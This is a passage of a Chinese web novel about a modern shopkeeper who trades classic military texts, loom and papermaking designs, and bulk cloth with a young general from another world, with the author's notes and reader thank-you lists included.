“小小牛排，我有的是力气和手段！” 黎行聿蜷起手指，默默收回，指节下意识摸向锁骨，习惯性地向下勾，触及宽松领口，他动作稍顿，这才想起今天穿的不是西装，没有领带可松。 他抬手示意工作人员正常上菜。 牛排吃到一半的时候，魏钦悄悄返回，绝口不提前面的话茬，招呼大家品酒。 萧妧妧抿一口酒，欣赏头顶的蓝调天空。 想吃烧烤了……还是重油重辣的食物有滋味。 萧妧妧舔舔唇，失望地推开了裹满酱汁的肉块，听魏钦开始讲述收紫砂壶的坎坷过程。 “你们不知道，顾景舟的紫砂壶有多难找，我都想好拿朱可心的壶顶上，哪知道也不容易。当时我托了前女友、前前女友，前前前女友帮忙，又让几个现女友去打听，幸好老黎靠谱。还得是兄弟啊。” 萧妧妧咋舌，一时听不出来他是在炫耀还是在自黑。 魏钦偷瞄着萧妧妧，咬牙下狠料：“谁让我女朋友多呢，个个爱我爱得死去活来，根本拒绝不了一点。算了，反正她们也不介意彼此，大家就这么谈着呗。” 萧妧妧没看出他有多幸福，只感觉到了痛心疾首和懊悔。 以及……他真的不是在搞抽象吗？哪有人把自己的黑料往外抖。 “好像是有点脑子不好。”萧妧妧小声和黎行聿蛐蛐。 黎行聿淡淡说：“很久没见，没想到他变成了这样。” 魏钦静静听好朋友与他划清界限，气呼呼翻白眼，他这是为了谁啊？ 漫长的晚餐结束，时间不过八点，魏钦原本计划是玩点游戏，现在一个字不敢提，老老实实安排直升机。 云昭昭刚和黎行墨吵了一架，为了安抚他，只好暂时顺着他，眼巴巴看着萧妧妧和黎行聿上直升机离开。 黎行聿工作忙，第二天要去工作，倒没什么好说的，萧妧妧自己开着店，结果也不清闲，对比留在农场继续过着度假生活的四人，萧妧妧发出由衷的羡慕。 如果生意不好还没那么大心理负担，关门歇几天，最多喝西北风。 赚到钱反而像上了发条，不敢错过任何一笔生意。 达到南市市区，萧妧妧拒绝黎行聿的好心陪同，在巷子口和他分别，赶要回小卖部看一眼。 黎行聿：“需要我送大王过来陪你吗？” 萧妧妧扭头，店铺门口看不见彩虹男团的身影，于是又一次摇头拒绝了。 黎行聿没说什么，目送她进了小卖部，稍等了一会才离开。 萧妧妧进店第一件事就是点外卖，急需酸辣食物抚慰不满足的胃。 刚放下手机，打算给申明月留张字条，再提醒她来小卖部一趟，忽然嗅到一阵油脂的焦香味。 循着味来到后院，推开雕花门，萧妧妧听到咋咋呼呼的动静。 “小心点爱丽丝，火太大了，不要继续扇风。” “很好，这时候可以把肉串放上去。” “孟姐姐，好热啊。” “烧烤是这样的……对了，申明月，要不你也留下来吃点？ 萧老板今天有应酬，可能会忙到很晚，不知道什么时候回来呢。” 申明月接过茶水，瞪着疲惫的丹凤眼，犹豫一瞬，点头答应。 萧妧妧伸头一看，好久不见的申明月来了，和孟甜甜一起忙着教爱丽丝如何生火做饭。 【作者有话说】 好像才意识到一件事，我写的可能是个冷门故事……（闭眼）（安详）（吐魂） 读者“ninomi”,灌溉营养液 +5 读者“大大很帅”,灌溉营养液 +1 读者“妧訢”,灌溉营养液 +10 读者“虫子太多好可怕”,灌溉营养液 +1 读者“小露珠”,灌溉营养液 +1 读者“藏月水寒”,灌溉营养液 +1 读者“四方”,灌溉营养液 +1 读者“嘿嘿苹果酱”,灌溉营养液 +1 读者“木昰”,灌溉营养液 +1 113 第113章 ◎你好，我可以买你的核武器吗◎ 目睹了其乐融融的场面,萧妧妧不禁感慨，答应孟甜甜住进来是再好不过的决定了。 原本该由她承担的琐事，现在有孟甜甜帮忙解决，省去她不少麻烦。 难怪霸总喜欢招一堆秘书,这也太爽了。 萧妧妧推开门,跳进院子,欢快地挥手打招呼。 听到声音,大家惊喜回头。 爱丽丝瞪着懵懵的绿眼睛，辨认了一会,才敢把面前打扮清凉的女人认成萧妧妧。 申明月同样目瞪口呆，她几次光顾小卖部,萧妧妧打扮得虽然没那么正常，至少大裤衩是超过习惯的,肥大的白T能遮住上身。 目光落在两截白皙修长的腿上，慢慢移到纤细腰肢,再放在饱满的胸口,申明月眼神无处安放,红着脸低下脑袋。 只有孟甜甜反应最正常,拖来椅子,倒上茶水。 “我在教爱丽丝搭炉子烤肉，木炭和烧烤架是现买的，免得她们小家伙把家烧了。要不要吃点？很快就好。” 萧妧妧咂咂嘴，馋的不得了,连连点头。 环顾一圈，肉片半生不熟,萧妧妧提醒她少弄些,外卖还在路上,吃不完浪费了。 孟甜甜应了一声，继续指导爱丽丝。 过了一会，没听到申明月的说话声，扭头一看，小姑娘害羞得不敢抬头。 孟甜甜捂着嘴巴笑：“萧老板，申明月找你有事呢，下午来回几趟，等了好久。” 申明月回神，连忙点头：“对，萧老板，我来是有重要事情。” 萧妧妧一听，放下手中肉串，擦擦手，领着申明月回前面小卖部。 “你改姓申啦？”萧妧妧好奇询问。 到了改名这一步，看来第一场战役大获全胜。 她记得剧情，女主在战场当着敌我双方将近三万人的面，扬声立誓，以后和大宇皇朝断绝关系，改随母姓。 这一场战役，申明月不仅以少胜多赢得漂亮，还立了斩将搴旗两项大功。 双功并立，足以封侯授勋，甚至名垂青史。 翻看史书，能立双功的都是赫赫有名的人物，而这样的功劳，是一个领着八千老弱病残、年纪仅二八的少女立下。 萧妧妧可以想象，在申明月那个位面，传扬出去会造成多大的震动。 难怪她亢奋，此一战成就了申明月，也改变了她在申家略显尴尬的处境。 这一场战役，为她以后逐鹿中原、成为第一个开国女帝，起了至关重要的作用。 但萧妧妧知道，现在的申明月只是沉浸在胜利的喜悦中，以及身份的明朗。 昏暗的院子里瞧不清楚，这会在灯光下看，申明月身上裹了好几处纱布，身上浓浓的药粉味。 尤其脸上的疲惫以及振奋的精神状态，一起呈现，可见她这段时间累得够呛。 再仔细看，申明月身形变高挑了些，才十六岁的年纪，已经快赶上萧妧妧的身高。 裹着纱布肩膀腰腹结实许多，尤其胳膊腿，矫健有力。 萧妧妧暗暗比较了一下，庆幸小卖部有防御系统，不然申明月一拳头砸下来，三个她也顶不过。 申明月骄傲挺胸，任由萧妧妧打量，眼底闪过得意。 “我现在叫申明月，不姓李啦。 嘿嘿，多谢萧老板的物资，否则这一场仗打下来，我申家兵力要耗去大半，半年一年尚不一定能休养回来。” 听她如此一说，萧妧妧不由涌出心疼的情绪。 上战场前申明月就知道自己面对的是什么，又背负了什么，结局必须赢。她要扛下的压力，是一族人的命，更有一座城的存亡。 “萧老板不必心疼我，”申明月双手叉腰，神态傲然：“我是胜利者。” 突然的臭屁打散了萧妧妧那点心疼，她转而问：“你先说，这次要买什么？” 想起自己目的，申明月一拍脑门说起正事：“此次战役虽胜，却是险胜，我细想下来，战略方面稍逊一筹。” 回去复盘一遍，申明月发现自己文化不够用，其实逊了许多筹。 这一次运气好，遇上了个急功近利又轻敌的将领，真让她碰见有经验的老将，那可真是生死难料。 申明月体力武力方面虽然也逊色了一些，但考虑到现在的年纪以及对战经验，倒不是那么急迫，以后还会随着年纪增长而增加，循序渐进即可。 可说到底，带兵打仗不止拼她的勇武，头脑同样是关键。 可惜随母亲关在冷宫那么多年，她只识了基础用字，磨炼了功夫，没机会读完整本策略书，全听母亲凭记忆口述。 战场上几次突围，全靠她凭着本能下令，那种心惶惶无依靠的感觉，想来只有后怕。 但凡做错一次决定，结局大不一样。 申明月越想越是觉得该在谋略方面下功夫，部将忙着打扫战场扫荡战利品，她急吼吼找了过来。 申氏的兵书在族长舅舅手里藏着，申明月有自知之明，短期之内没机会拿到。 萧老板这里却可以。 她记得清楚，小卖部的墙上贴着呢。 申明月第三次去的时候就发现了，但只敢偷偷瞄，瞄也不敢多看几个字，怕不小心记在心里后，惹恼萧老板。 闻弦音知雅意，萧妧妧立即明白申明月这次的采购目标。 “我以为你早该问这事了，怎么拖到今天？”萧妧妧没忍住好奇。 她早早打印了几页的兵书贴上去，硕大的字体写着兵书两字，结果倒好，申明月像看不见似的。 起初她以为是文化差异，申明月不认识繁体字，后来见她能读写古文、甲骨文，说明两个世界的文字相通，萧妧妧一度以为她不感兴趣，或者说年纪小，不懂兵书的重要性。 申明月舔舔唇，忐忑地说：“这、这不是担心太冒昧了嘛。” 萧老板的世界她不了解，在她那里，兵书的价值远超大部分书籍，小到影响战争胜负，大到牵扯国家存亡、兴衰，不可从单一体系去衡量。 就说外祖父，威名赫赫的将领，私下所著用兵策略为防泄露，从不示人，最多给心腹大将瞧两眼。 外祖父去世后，兵书更是带进墓里，传言族长舅舅求了好久才有机会抄录。 而在大宇朝，民间私藏、私习兵书，轻则流放，重则死罪。 由此可见，拥有一本兵书，相当于拥有了治国用兵的教学手册，等同于拥有了“核武器”，降维打击。 哪个正经人好意思上来就问“你好，我可以买你的核武器吗”，不止是冒昧，还有点冒犯。 萧妧妧想象不到对面的社会环境，在她生长的过程中，想看想学任何知识，网上大多能下载到，不存在垄断和无法传播的情况。 转念一想随即恍然，兵书搁在古代等于禁书，地位相当于现代普通人掌握了导弹发射器。 这一点出乎萧妧妧预料，她知道兵书的重要性，却没想到那么重要，说到底还是低估了。 “这时候不怕冒昧了？”萧妧妧调侃。 申明月嘿嘿笑：“是我想岔了，现在意识到不晚。而且，我有钱了！” 你来我往交易几次，彼此间混熟了，申明月慢慢意识过来，萧老板敢展示，必定抱着买卖的打算，她大可以直接开口买兵书。 申明月唯一的担心，是怕自己出不起价。 好在这次打了胜仗，缴来许多战利品。 战俘太多养不起，留下一部分得用的人，剩下等大宇朝派人来赎，也能赚不少。 申明月认真脸：“东西尚在登记，恐怕要等回城才能送来，萧老板可否宽限我几日？” 说是这么说，申明月有把握带走兵书，只要钱给够，萧老板一向好说话。 她手上真金白银不多，但好东西攒了不少，而且萧老板对它们的兴趣可比金银大，正好互补了。 萧妧妧的狐狸眼歘一下亮了：“有很多宝贝？” 申明月重重点头：“升州城外尽是田地，过不了几月粮食就要成熟，此时开战，他们定不会放过，无论是烧了还是抢了，损失不可估量，整座城的百姓都要跟着挨饿，将士也吃不饱，继而军心涣散，后患无穷。 于是我先一步带兵迎了过去，将敌方堵在他们的领地。” 她不好意思地笑了笑：“打赢以后，想着来都来了，顺手抢了几家为富不仁的大族。” 萧妧妧回想一会，好像确实有这么一节剧情。 不过原著里女主是险胜、惨胜，只来得及抢敌军的粮草补给，没有进城抢大户的流程。 申明月悄悄炫耀：“曾经陷害我母亲的贵妇，母族便是灵州望族李氏，我也顺道给抢了，哼哼。” 萧妧妧代入一下剧情，长舒一口气，爽了！ 然后，她忍不住苍蝇搓手，这得有多少好东西啊？ 萧妧妧一边感叹，一边从柜台里拿出提前准备好的兵书。 “三十六计、吴子兵法六篇、孙子兵法、司马法、六韬、三略……哦，还有唐诗宋词。”萧妧妧搬出一摞书，拍拍灰尘：“喏，全部翻译过去了，不影响阅读。” 随着萧妧妧报菜单似的丢出一本本书册，申明月瞳孔骤缩，直接呆立当场，反应不能。 “啊！！”凝滞片刻，申明月化身尖叫鸡，几乎蹦了起来：“这些……是兵书？” 萧妧妧莞尔一笑，微微点头，看申明月神情几度变幻，从呆滞到激动再到癫狂。 和她当时赚到金条一模一样的反应。 赚金条固然令人兴奋，更令人兴奋的是背后潜藏*的好处。 萧妧妧意识到可以借着两个位面的差异互通有无，赚取大量财宝，激荡的心情久久不能平静，连着几晚睡不踏实。 一会梦见发财暴富，一会梦见系统解绑，她又变得穷困潦倒，那时候的心情忽上忽下，和申明月现在的神态差不了多少。 “这……萧老板建议我选哪本呢？” 申明月抱着脑袋默默平静许久，这么多兵书摆在她面前，触手可及，且任由她挑选。 想选最厚的，刚抱进怀里，又后悔了，总觉得薄薄的那一册肯定更厉害。 “内修文德，外治武备……妙啊！” “这可怎么挑，一重治兵，一重谋略，皆是我所求。” “空城计？怎么看起来像话本子？” 申明月的眼睛几乎黏在书上，恨不得每本都翻阅一遍，选出其中精华。 但……怎么看起来全是精华啊。 申明月愁得不行，根本选不出来！ 萧妧妧见她爱不释手，一会翻看《孙子兵法》，一会摸摸《三十六计》，嘴里念念有词，连凑数的《三国演义》都能得到她的垂青，唐诗宋词却像垃圾一样丢开。 申明月头也不抬的说：“我一个粗人，读什么诗词。” “谁说让你挑了？” 申明月闻言浑身一僵，缓慢抬头，忐忑又渴望的目光望过来。 萧妧妧微微笑，丢下重磅炸.弹。 “都是你的。” 【作者有话说】 你好，我可以偷你们的营养液吗（伸手） 感谢读者“是清欢”,灌溉营养液 +32 感谢读者“嘿嘿苹果酱”,灌溉营养液 +1 感谢读者“ninomi”,灌溉营养液 +5 感谢读者“叙叙旧”,灌溉营养液 +5 感谢读者“阿芬”,灌溉营养液 +20 感谢读者“木昰”,灌溉营养液 +1 感谢读者“catle”,灌溉营养液 +1 114 第114章 ◎和萧老板做生意，真赚啊◎ 申明月想抱住萧妧妧大喊大叫,以示自己的惊喜。 事实上她也这么做了，化身一群尖叫鸡，惊叫过后，直直冲到萧妧妧面前,抱起她原地转圈。 萧妧妧可以证明,申明月不止是看起来矫健有力,实际上确实有把子力气,转得她脑子发晕。 听到尖叫的另外两人吓一跳，以为店里出了什么事,来不及丢下烤串，急匆匆闯进来。 然后愣住。 萧妧妧尝试了几次,都没能让申明月冷静下来，无奈苦笑。 要不,印钞机……划掉，仿古布料的事晚一点告诉她？ 萧妧妧担心她高兴过头,到时候整出毛病来。 申明月转累了,老实放下萧妧妧,晕晕乎乎,踉踉跄跄,却阻挡不了她的好心情。 “我真的可以全部带走？”申明月几乎破音。 萧妧妧扶着柜台，对孟甜甜和爱丽丝笑笑，解释道：“没出事，她太高兴了。” 孟甜甜和爱丽丝先后松了一口气,她们懂，小卖部总能带来意想不到的惊喜,她们再清楚不过。 两人又举着烤串回到院子里。 人走了,萧妧妧把那一摞书往申明月方向推去：“一本一本买多费劲,全部拿走。” 再三确定过，申明月幸福得要晕过去。 她偷偷掐了一把胳膊肉，疼得嘶嘶吸气还不忘嘿嘿傻笑，嘴角咧到后脑勺。 “谢谢萧老板！我一定好好准备。” 申明月欣喜若狂，这可是有钱也不一定能买来的兵书！ 如今不仅买到了，更超乎预料，买到了好多本，全是她不曾接收到的知识。 早知如此，她宁愿冒着得罪人的风险在战前多问一句，也不必等到今天。 申明月抱着沉甸甸的书本，手腕勒得通红，脸上却是喜滋滋、红扑扑，眼眸晶晶亮。 她恨不得现在就把它们全部刻在脑子里。 得了宝贝，申明月等不及，慌里慌张要回去看书。 小跑两步，扭头，小心确认：“萧老板，我真的抱走了哦。” 萧妧妧无语摇头，挺聪明一孩子，怎么变成傻子了。 “赶紧抱走。”她没好气的说。 申明月亮出一口白牙，抬脚迈过结界。 “等等！” 萧妧妧忽然出声叫住她。 申明月一秒收敛笑容，警惕地挪回来，胳膊收紧，抱着一摞兵书不肯撒手，紧张兮兮地观察萧妧妧神态。 “……您后悔了？” “我真服了，”萧妧妧大步走过去，捏了捏她婴儿肥脸蛋，“答应卖给你的东西，我什么时候反悔过？不反悔。我要说的是另一件事。” 申明月彻底放心，忙道：“萧老板稍等，我把它们送回去，一会过来。” 萧妧妧默了默，到底是多宝贝它们啊。 她想了想，似乎还有几本冷门兵书没整理出来。 要是给申明月一本红笔记，读读《史记》，瞧瞧《实践论》、《矛盾论》、《论持久战》…… 岂不是惊为天人？ 萧妧妧只敢想想，比起流传下来的兵书，以上她提起的任何书籍都会对申明月造成不小的冲击，循序渐进吧。 胡思乱想一会，申明月果然迅速折返回来，浑身轻松地拉来座椅坐下。 萧妧妧开门见山：“我手里有两样东西，你看看你要怎么选。” 一听有正事要商量，申明月端坐，侧耳倾听。 “一样是改良织布机，可以织出棉布，造成的影响可以说是革命性的。我手里只有图纸，成品需你自己想办法打造。” “另一样，是源源不断的绫罗绸缎绢布麻布。” “你要如何选择？” 萧妧妧求证什么似的，紧盯申明月的表情。 申明月听到可以买织布机，尚有些懵懂，听到后面一句，她唰一下变了脸色。 她张口语言，忽然顿住，垂头思索。 源源不断的布匹，等于花不完的钱，而与之摆在一起的织布机，一定不简单。 造纸术经过她回去几次的推演细思，越发确定它的影响深远，确实如萧老板所言那般重要。 能拿出造纸术的萧老板，想来织布机的影响不弱于它。 申明月硬生生吞下要出口的话，思索再三，询问织布机的情况。 萧妧妧缓声讲解：“和造纸术类似，改良织布机会对经济、民生、乃至军事造成一定程度的影响。 首先会促进棉花种植，这涉及到土地的分配利用，比如不适宜种植粮食的地区改种棉花等。 之后的纺纱、织布流程，会催生一条完整的产业链，不仅振兴商业，还能改变社会结构，提高女性的社会地位。 织布换钱，姑娘们手里有钱，在家也有了话语权。 而生产出来的棉布比麻布舒适保暖，不仅提高普通百姓的生活品质，还可以改善将士的甲胄，变得更加轻便保暖。 最后一点，拥有改良织布机的你，等于拥有了一块敲门砖，想要买棉布，必定绕不开升州，绕不开申氏。” 申明月听着听着，心口砰砰跳，上次跳得这么厉害，是在听萧老板讲造纸术的时候。 垄断了棉布、纸张的申氏，无往不利。 萧妧妧没说的是，可能也会冲击现有的阶级。 考虑到申明月出身大族，她不一定能接受阶级利益遭到破坏，便没立刻说破，回去她自己想想差不多也能反应过来。 申明月一会惊，一会喜，一会苦恼叹气。 “造纸术的钱还没存够，这又来了个织布机，”申明月回想自己抢来的战利品，不确定地说：“要不，我再去撩拨撩拨，打个几场胜仗？” 萧妧妧这才想起来，造纸术还没谈好分配方式，连资料都没开始整理，光忙着给申明月画大饼了。 现在想起来刚刚好，申明月手里正充裕呢。 造纸和织布机图纸一样，萧妧妧打算一次性结清货款，懒得去计较分成比例。 这么想着，她翻出平板搜索下载资料，给申明月留出思考时间。 申明月小老头似的，背着手来回踱步，垂头思索。 选巨大影响的织布机，还是源源不断的布匹？ “萧老板，织布机怎么卖？布匹又是什么价？” 萧妧妧想了想：“织布机和造纸术一样，买断价一万金，货款一次性结清，不接受赊账。它们以后产生的任何收益，和我无关。 至于布匹，咱们以千两白银为例，在你那里用一千两能买下多少布匹，在我这里，同样价格我五倍数量给你。” 考虑到申明月手里金银不多，转而道：“可以不用金银结账，同等价值的物件也可。” 申明月听到这里，整个人都要飘起来了。 萧老板处处为她考虑，不管如何算，对她而言，不亏。 申明月这段时间又经商又打仗，短短数月，经历比前面十几年加起来都要精彩，早不是困在冷宫没见过世面的小可怜。 她心里清楚，萧老板定然从她手里赚了不少，但话又说回来，她也从萧老板手里赚了不少好处不是？ 布匹在萧老板眼里不值钱，在她那里却是当钱用的，想来也差不多，在她眼里平平无奇的物件，到了萧老板这里，怕是贵重得不得了。 前面几次交易她就看出来了。 总之，各取所需，大家都有的赚，皆大欢喜。 申明月深呼吸，犹豫了一下，鼓起勇气提议：“我想要织布机和造纸术，也想要用不完的布匹。” 反正萧老板又没说只能选一样，那她当然要全都要啦！ 萧妧妧弯了弯唇角，露出浅淡笑容，果然和她预料的差不多。 “织布机造纸术过几日给你，现在你要做的是，告诉我你需要的布匹规格。” 申明月懵了一会，迟钝反应过来，萧老板这是答应她了，顿时大喜过望，脸上笑开了花。 “我这就写出来。” 布帛既然能当钱用，那么必定有长宽要求，做了几次生意，在升州城闯荡了一段时日，申明月最清楚不过。 “各国共同认定可交易的布帛有三种，一是绢布，素娟为主，档次不同，价钱略有不同。 有染色花纹的高档绢布可当钱一贯，中等的无色素娟最为常见，可当钱八百文，一匹下等的绢布则可当钱六百五十文。 二是麻布，粗细不同，价钱不同，寻常时候，一匹粗麻当钱一百五十文。 细麻可制作衣裳，一匹当钱四百，最近不太平，已经涨至六百钱。 另一个是缣布，价格昂贵，一匹当钱两贯。 这些是民间常用的，再有一些锦缎、绫罗，多是贵族所用，常常用在大额贸易，或是赠礼、赏赐等，比如浮光锦。 我所说皆是升州的布价，若是有战乱、灾害，价格还会上涨。” 萧妧妧一开始还认真计算，后面脑袋都要炸了。 “绫罗绸缎丝绢粗细麻都可以，你要买哪些？”她丢开纸笔，干脆的问。 申明月激动地搓手：“都要！” “嘿嘿，主要是绢布缣布，其次是细麻，这些我打算当军饷发下去。绫罗绸缎越多越好，要赏赐有功将士。” 说着，申明月偷瞄萧妧妧，为自己的大额订单感到歉疚和不安。 萧妧妧了然，解释说：“放心，肯定能满足你。” 古代位面技术落后，一人一天产量大约在一米两米左右，特殊面料则更少。 现代技术完全不同，一分钟的产量抵得上十天的量。 申明月安心了，语气轻快说道：“绢布缣布细麻，各5000匹。绫罗绸缎，各……3000匹！” 考虑到绫罗绸缎的生产难度，申明月没好意思报太多。 她继续道：“各国之间流通的布帛有严格的长宽限定，一匹布长度为40尺，幅宽2尺。” 申明月所在位面一寸是5厘米差一点的样子，姑且算它5厘米。 幅宽2尺就是1米，40尺则是20米。 长度20米，幅宽1米，换到现代织布设备，称得上是窄宽幅。 但好在差距不大，无需更换老式机器，选择现代无梭织机，通过调整筘幅，轻松改变幅宽，不会影响生产效率，也不会造成成本的增加。 幅宽问题解决了，长度更好办，现代布匹有机器连续卷装，长度可达100米，一匹相当于申明月那里的五匹布长。 暂且按照每分钟数十米的效率计算，五匹布十分钟可织出，5000匹一天时间绰绰有余，换成更高效的机器，翻倍也不在话下。 萧妧妧算了一笔账，不禁怀疑这点生产量恐怕会被布料厂拒绝接单，根本算不上什么大单。 她温声引诱：“3000、5000不多，一天就织完了，你确定只要这么点？” 申明月瞪大眼睛，将信将疑的强调：“我说的是各、5000匹。” 5000匹布，就算长出七手八脚，不吃不喝也得织好几久，申明月没织过，不确定具体所需时间，但肯定不会少。 萧妧妧见她不信，质疑目光频频投来，索性把当下的生产力以数据形式报给她听。 然后，申明月当场傻眼。 知道萧老板不会吹牛皮，她说能满足一定就能满足，但是什么明月没想过，竟然有这么夸张。 “我改主意了，我要翻倍！” 跟随她拼杀的有八千部将，全是外祖父留下的人，申明月想要收服他们，除了出色的战力和策略，好处同样不能少。 他们从前随着外祖父南征北战，肯定得了不少好东西，她给少了不妥，想给多一点，奈何情况不允许。 想到这是大家打的第一场战役，正是收买人心的好时候，申明月抠抠搜搜决定给将士们每人分一匹布，饷银多给一些，战利品不收缴。 现在不一样，她完全可以给每人发五匹细麻，一匹绸、绢，再配粮食饷银，不愁他们不死心塌地追随她。 善待将士的名声传出去，以后想招兵买马，也要容易许多。 等等……我招兵买马做什么？ 申明月困惑挠头，反正解决了眼前困境，人手足够护住申氏，只要好好生活，好好做生意不就足够了？怎么还想着打来打去？ 申明月没能深思下去，重新下单。 反正算军功要等上一阵子，好消息可以先公告出去，不着急。 萧妧妧按几遍计算器，如果布料厂规模够，同时开工，差不多需要半个月时间完成订单。 具体数据不详，是早是晚，要等和布料厂详细谈过以后才能确定。 申明月看到粗略估算的数值，哇了一声，不知道该怎么形容自己的震惊。 “先别震惊，回去记得送来样布，我好让布料厂仿照着做。”萧妧妧提醒。 申明月连连点头，这么重要的事，她肯定不能忘记。 来都来了，萧妧妧干脆把协议打出来，一次性解决。 申明月看笔墨一一摆出来，又看到协议上拟定的织布机、造纸术交易细则，大脑恍惚了片刻，涌出了难以言喻的激动。 只要签下协议，两项事关民生经济的技术，就这么彻底属于她了。 申明月好像做梦一样，踩在云团上，浑身轻飘飘，没有一丝真实感。 “倒也没那么快，协议可以先签了，后面再一手交钱一手交货。” 萧妧妧实在看不下去，申明月的脸上洋溢着无法抑制的笑容，几乎要笑烂了。 她完全没有意识到自己的笑容有多么夸张，竟也不觉得脸颊酸，萧妧妧光是看着就受不了。 等她看完协议，萧妧妧着重讲解了位面交易规则，防止她无意间犯规，影响后续计划。 申明月听得仔细，为了不被小卖部拉黑名单，牢牢记下规则，不敢有丝毫的疏漏。 片刻之后，申明月毫不犹豫，撸起袖子，露出半截裹着纱布的胳膊，拿起毛笔龙飞凤舞签下姓名。 契约成立，交易完成，两人甩了甩协议，扫视一遍，同时露出了愉悦微笑。 和萧老板\大女主做生意，真赚啊。 【作者有话说】 4500字，比昨天多了将近1000，怎么不算加更了呢[捂脸偷看] PS:申明月位面的尺度设定在35章浮光锦部分短暂出现过，过于短暂，当时懒得写备注，本章出现较多，所以浅浅提示一下—— 一寸5厘米尺度不符合任何主要朝代的官方制度（非官方不算），文中为防止大家套时代背景（主要是为了方便做计算）、考虑现代机器生产效率、生产成本、溢价（窄幅宽的布属于定制，可能涉及机器变更，价格高），所以在尺度上面做了虚构处理，看看就好，不用当真。 感谢读者“清若”,灌溉营养液 +5 感谢读者“哦了瓦特了”,灌溉营养液 +20 感谢读者“藏月水寒”,灌溉营养液 +1 感谢读者“catle”,灌溉营养液 +1 感谢读者“多来点我爱看”,灌溉营养液 +5 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“Anya”,灌溉营养液 +10 感谢读者“木昰”,灌溉营养液 +1 感谢读者“努力天生一对”,灌溉营养液 +50 感谢读者“四方”,灌溉营养液 +1 感谢读者“momo”,灌溉营养液 +5 感谢读者“嘟嘟噜哒哒”,灌溉营养液 +20 感谢读者“”,（后台无法显示ID，前台没找到）灌溉营养液 +1 2025-04-0118:53:55 感谢读者“”,（后台无法显示ID，前台没找到）灌溉营养液 +1 2025-04-0118:43:03 感谢读者“”,（后台无法显示ID，前台没找到）灌溉营养液 +1 2025-04-0118:37:22 115 第115章 ◎你猜我碰见谁了◎ 正事谈完,外卖的烤串恰好送到，萧妧妧收好协议去门口拿外卖。 申明月见状，准备回去先吩咐下去，尽快拿来样布。 刚到结界边,她想起什么,扭身说：“萧老板,不倒闭小卖部升州分店即将开业,你要不要观礼？” 萧妧妧抱着热乎乎的外卖回来，神情诧异：“这么快就可以开业了？” 申明月总是为人手不足发愁,萧妧妧听她吐槽了几句，以为要等许久呢。 这一露面,又是打赢了仗，又是店铺开业,赚到的第一桶战利品又换到了两项技术，一件事都没落下,简直是人生赢家。 “看,当然要看。”萧妧妧一口应下。 申明月笑眯了眼,唉了一声,蹦跶着跑走。 协议塞进牛皮布袋里装好,找地方藏起，兵书同样要找东西包裹起来，以防被人瞧见。 正忙着呢，营帐外传来通禀声。 “娘、主君,已按照您的吩咐对那些东西登记造册，主君可要过目？” 申明月匆忙把东西塞柜子里,遮掩一下,传唤丫鬟进来。 “缴来多少东西？可有贵重的？没弄坏吧？” 申明月关切地询问,事关她能否顺利履约，由不得她不上心。 一身利落布甲打扮的清秀女孩摇了摇头，捧上册子，兴奋回答。 “不曾弄坏，奴、属下们谨记主君吩咐，让将士们控制住李家人，只派了咱们带来的婆子丫鬟进去搜东西。” “你们我是晓得的，最细心不过。”申明月满意点头，接过账册随手翻阅：“李氏果然豪富，只不知魏、阮两家又是何等情形。” 丫鬟雀跃说：“李氏近些年才兴旺，自然比不得魏、阮两家，属下来时，蕊文与秋雨忙得来不及喝水，册子一摞一摞，可见有不少好东西呢。” 申明月更满意了，册子囫囵翻两页，丢在一边，道： “好，东西盘清楚后全部送去别庄，莫要伸张。 我看上面记着有皮子和锦缎，你们几人分了吧，不必送来送去。 其他东西我再挑拣些出来，到时候兑成银子布帛，犒赏大家。” 娘子大方，赏赐了皮子和锦缎，还有额外的犒赏，小丫鬟蹲身谢赏。 申明月摆摆手，扬声宣布：“传令下去，凡是随我参战的将士，饷银照旧，每人另赏细麻五匹，素绢一匹，绸布一匹，醇酒一瓮，钱十贯。 牺牲的将士布帛双倍，抚恤银从旧例不变，需妻儿亲自领。 立功的将士另有赏赐。 待回了升州，请族长舅舅亲自核验，无误后方可领饷。” 不止营帐内的丫鬟，守着营帐的几位老将听到声音，惊喜非常，彼此对视一眼，克制不住的露出笑脸。 小丫鬟抱拳行礼，连忙退出营帐，把好消息散播出去。 哼哼，让那些嚼舌根的脸红去。 小丫鬟记得清楚，每回收缴战利品，娘子都担心将士粗手粗脚，不识得好东西，反倒坏了事，遂派她们一同前往。 他们从前跟在将军身边，哪曾被人这般对待，心里诸多揣测，嘴巴便也没把持住，私下聚在一起总要嘀咕几句。 小丫鬟深知娘子为人，几次辩解，都让人避重就轻转移话题。 看在她是娘子的奴婢份上，他们不愿意和她起冲突，倒显得她咄咄逼人。 “……主君说了，若立下军功，另有赏赐，待请了族长做主，保准发下来。”小丫鬟昂着头颅：“现在你们明白主君的良苦用心了吧？这是怕你们糟蹋好东西，回头怎么卖得出好价钱？ 主君说了，做事就得有计划、有规矩，否则大家都得不着好。” “对对对，梦夏姐姐说得对。” “呸，什么我说的，这是主君曾经跟我说的。” “我嘴笨，说错了话，主君英明！” 梦夏特意去最多将士聚集的医帐，亲口告诉他们好消息。 几乎是刚说完，前脚还抱住胳膊哎呦哎呦的老汉，跳起来追问，年轻的小子更毛躁，全部围了过来。 “梦夏姐姐，主君可说立功的人有什么赏？嘿嘿，俺不要钱，俺只想娶媳妇。” “梦夏姐姐，这么多布匹，主君当真能弄来？” “对啊对啊，咱们人可不少，一人五匹、不，是七匹布，一瓮酒，那可得准备不少呢。” 梦夏矜持点头：“担心什么，主君最是信守承诺，既然敢应下，必然有所准备。主君记挂你们呢，只管安心便是。” 这话有道理，想来是主君用那几家大族的好东西去淘换的布帛。 赏赐是其次，主君认可他们才是最令人振奋的消息。 前几次剿匪，大家只看出主君吃苦耐劳，不娇气，听劝，这一场仗打下来，李、哦，要叫申娘子了，果真令人刮目相看。 就算对面只有两万人，那也是割了首，夺了旗的，又是年轻女郎，传出去别提多威风。 申将军去后，儿孙不成器，没能继承领兵调将的天赋，反倒是外孙女最有申将军风采。 不仅有能耐，而且关照他们这些下属。 老将们兴奋之余，开始回忆往昔，新兵蛋子欢呼雀跃。 看大家兴高采烈，盘算这些布帛领回去能换多少东西补贴家里，梦夏骄傲地挺直了脊背。 申明月听到外面一阵一阵的咋呼，差点吵翻营帐，摇了摇头，继续写信。 打扫战场仍需几日，哪怕离升州不远，申明月也不想多等。 最好是在她回城之时，母亲那里就准备好样布，如此一来才不耽误事。 再一个是店铺的事情，萧老板答应观礼，她必须多问几句，免得丢了面子。 瞥了瞥柜子里的兵书，申明月惋惜叹气，忍痛移开目光。 算了，这几日琐事缠身，忙得睡觉时间都不多，过些日子再说。兵书总归是自己的了，回升州慢慢看。 